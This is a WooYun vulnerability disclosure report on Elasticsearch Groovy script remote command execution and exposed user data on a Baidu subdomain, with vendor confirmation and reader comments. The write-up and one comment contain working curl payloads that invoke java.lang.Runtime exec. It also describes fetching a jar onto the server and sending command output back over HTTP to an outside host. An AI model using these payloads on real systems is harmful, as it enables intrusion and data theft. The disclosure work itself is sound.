当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099419

漏洞标题:百度某站Elasticsearch Groovy 脚本动态执行漏洞(包括部分数据未授权访问)

相关厂商:百度

漏洞作者: 园长

提交时间:2015-03-04 12:44

修复时间:2015-04-18 12:46

公开时间:2015-04-18 12:46

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-04: 细节已通知厂商并且等待厂商处理中
2015-03-05: 厂商已经确认,细节仅向厂商公开
2015-03-15: 细节向核心白帽子及相关领域专家公开
2015-03-25: 细节向普通白帽子公开
2015-04-04: 细节向实习白帽子公开
2015-04-18: 细节向公众公开

简要描述:

Elasticsearch 未授权导致数据泄漏和脚本执行漏洞

详细说明:

一开始用XX搜索到了百度的一个使用了es的站

1.png


数据泄漏,主要是百度贴吧和微博的数据,包含用户名ip什么的:
http://eas.baidu.com/_cat/indices
检测是否存在漏洞,执行:

curl -XPOST "http://localhost:9200/_search" -d'
{
"size": 1,
"script_fields": {
"my_field": {
"script": "p=Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null,null).exec(\"xxx\").getInputStream()"
}
}
}'


好像不行,继续执行验证脚本:

curl -XPOST "http://eas.baidu.com/_search" -d'
{
"size": 1,
"query": {
"function_score": {
"script_score": {
"script": "Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").toString()",
"lang": "groovy"
}
}
}
}'


这次成功了。再创建个文件试试:

curl -XPOST "http://eas.baidu.com/_search" -d'
{
"size": 1,
"query": {
"function_score": {
"script_score": {
"script": "p=Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null,null).exec(\"touch /tmp/yz.test").getInputStream()",
"lang": "groovy"
}
}
}
}'


因为执行后回显不大方便,所以get了个py脚本到/tmp/发现反弹不回来shell 但是 wget 和curl都是可以的。

2.jpg


写了个jar用来对外发HTTP请求,监控我博客的nginx日志查看回显验证下,wget qq.jar 到/tmp/:

3.jpg


查看服务器结果,URL参数是执行whoami的结果 当前权限是work:

4.png


uname -a:

5.png


ok,差不多了。

漏洞证明:

uname -a:

5.png

修复方案:

升级,加访问权限

版权声明:转载请注明来源 园长@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-05 11:45

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-04 12:45 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    这就出现了...

  2. 2015-03-04 12:46 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    惊险园长

  3. 2015-03-04 12:46 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    园长 好难得啊

  4. 2015-03-04 12:47 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

    刷起来?

  5. 2015-03-04 12:49 | light ( 普通白帽子 | Rank:261 漏洞数:48 | 精华漏洞数:36 | WooYun认证√ 艺术系教授 ...)

    看到 @园长 我就滚进来了

  6. 2015-03-04 12:55 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    表妹~!

  7. 2015-03-04 12:58 | MeirLin ( 实习白帽子 | Rank:96 漏洞数:30 | 号借人)

    http://zone.wooyun.org/content/18894

  8. 2015-03-04 13:01 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    我擦。。园长发力了

  9. 2015-03-04 13:02 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    园长又来了

  10. 2015-03-04 13:08 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    大表哥

  11. 2015-03-04 14:11 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    表哥好diao!

  12. 2015-03-04 14:14 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    难得见园长出现啊!!!

  13. 2015-03-04 14:39 | Vinc ( 普通白帽子 | Rank:120 漏洞数:22 | :))

    .

  14. 2015-03-04 16:31 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    感觉表哥要掏出作案工具了

  15. 2015-03-04 16:54 | 疯狂 ( 普通白帽子 | Rank:239 漏洞数:30 | 桃李春风一杯酒莲湖夜雨八年灯)

    http://ip:9200/_search/POST{ "size": 1, "script_fields": { "secpulse": { "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"COMMAND\")", "lang": "groovy" } }}刷分啦

  16. 2015-03-05 13:03 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    园长叔叔又出来发demo了

  17. 2015-04-18 13:16 | 苏泽 ( 路人 | Rank:25 漏洞数:19 | 大习科。)

    弱弱的问一句这是什么浏览器

  18. 2015-04-18 13:19 | 苏泽 ( 路人 | Rank:25 漏洞数:19 | 大习科。)

    什么搜索引擎这么流弊

  19. 2015-04-18 13:29 | 末影人 ( 实习白帽子 | Rank:35 漏洞数:9 | 末影人(Enderman)是一个三个方格高的人形生...)

    求搜索引擎